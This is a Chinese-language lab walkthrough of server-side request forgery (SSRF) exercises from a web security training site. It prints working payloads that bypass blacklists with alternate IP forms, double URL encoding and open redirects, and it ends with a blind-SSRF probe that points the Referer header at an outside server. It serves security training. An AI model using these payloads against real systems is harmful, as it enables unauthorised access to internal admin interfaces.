SSRF攻擊的防禦措施很常見,但大部份可以饒過
當安全限制封鎖127.0.0.1
或localhost
或敏感URL的輸入時,有以下方式可以饒過:
- 使用替代的IP表示
127.0.0.1
,例如2130706433
、017700000001
或127.1
。 - 註冊您自己的域名並解析為
127.0.0.1
。 - 使用URL編碼或大小寫變化來混淆黑名單字串。
- 使用您能控制的URL,該URL會重新導向到目標URL。嘗試對目標URL使用不同的重定向程式碼以及不同的協定。例如,在重新導向過程中,從
http:
到https:
切換可以繞過某些SSRF過濾器。
饒過黑名單過濾
正常請求如下,己知stockApi有一個SSRF安全漏洞
POST /product/stock HTTP/1.1
...omit...
stockApi=http%3A%2F%2Fstock.weliketoshop.net%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1
因此可以用stockApi去嘗試訪問http://127.0.0.1/admin
,但因為目標有做安全限制,因此返回400
############ attack request ############
POST /product/stock HTTP/1.1
...omit...
stockApi=http://127.0.0.1/admin
############ attack response ############
400
嘗試把127.0.0.1換成 127.1
。發現仍然被阻擋,但返回訊息變成500
############ attack request ############
POST /product/stock HTTP/1.1
...omit...
stockApi=http://127.1/admin
############ attack respone ############
500
admin可能被安全機制當做敏感輸入而被限制,嘗試將admin的a用double-URL encoding為%2561
,發現可以成功訪問admin
############ attack request ############
POST /product/stock HTTP/1.1
...omit...
stockApi=http://127.1/%2561dmin
############ attack response ############
200
...omit...
<a href="//192.168.0.12:8080/admin/delete?username=carlos">Delete</a>
...omit...
lab: SSRF with blacklist-based input filter
利用重定向繞過安全機制
己知stockApi有SSRF安全漏洞,嘗試訪問管理介面被安全機制阻止
############ attack request ############
...omit...
stockApi=http://192.168.0.12:8080/admin
############ attak response ############
HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 48
"Invalid external stock check url 'Invalid URL'"
而該目標有個請求可以做重導向,透過path參數可以重導向指定的位置
############ request ############
GET /product/nextProduct?currentProductId=1&path=/product?productId=2 HTTP/1.1
...omit...
############ response ############
HTTP/1.1 302 Found
Location: /product?productId=2
Connection: close
Content-Length: 0
將path參數改為管理界面,利用重導向的方式扺達管理界面
############ attack request ############
GET /product/nextProduct?currentProductId=1&path=http://192.168.0.12:8080/admin HTTP/1.1
...omit...
############ attack response ############
HTTP/1.1 302 Found
Location: http://192.168.0.12:8080/admin
Connection: close
Content-Length: 0
將重導向功能的網址餵給stockApi,嘗試利用重導向饒過安全機制,但出現遺失參數訊息
############ attack request ############
...omit...
stockApi=/product/nextProduct?currentProductId=1&path=http://192.168.0.12:8080/admin
############ attack response ############
"Missing parameter 'path'"
調整請求,只保留path參數在做測試,可成功利用重導向饒過安全機制
############ attack request ############
...omit...
stockApi=/product/nextProduct?path=http://192.168.0.12:8080/admin
############ attack response ############
...omit...
<div>
<span>administrator - </span>
<a href="//192.168.0.12:8080/admin/delete?username=administrator">Delete</a>
</div>
<div>
<span>wiener - </span>
<a href="//192.168.0.12:8080/admin/delete?username=wiener">Delete</a>
</div>
...omit...
lab: SSRF with filter bypass via open redirection vulnerability
盲注
如果SSRF訪問結果不會回應在前端,可以透過訪問外網來確認
- 請求中的部分 URL:有時應用程式只會將主機名稱或 URL 路徑的一部分放入請求參數中。然後,提交的值會在伺服器端合併,然後產生完整的URL
- 資料格式中的 URL:某些應用程式允許請求該數據格式的URL,像是XML資料格式
- Referer header:一些應用程式使用伺服器端分析軟體來追蹤訪客,分析軟體會存取Referer標頭中出現的任何第三方 URL
假如懷疑referer有SSRF漏洞,可以使用以下請求
GET /product?productId=13 HTTP/1.1
Host: ac761f9a1fa0ac4080340a960055008f.web-security-academy.net
...omit...
Referer: https://outside.webserver
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=mguSzHNei4uLoGhWwxNHydOXGFfirdD2
如果有SSRF問題,服務器outside.webserver
會接收到dns請求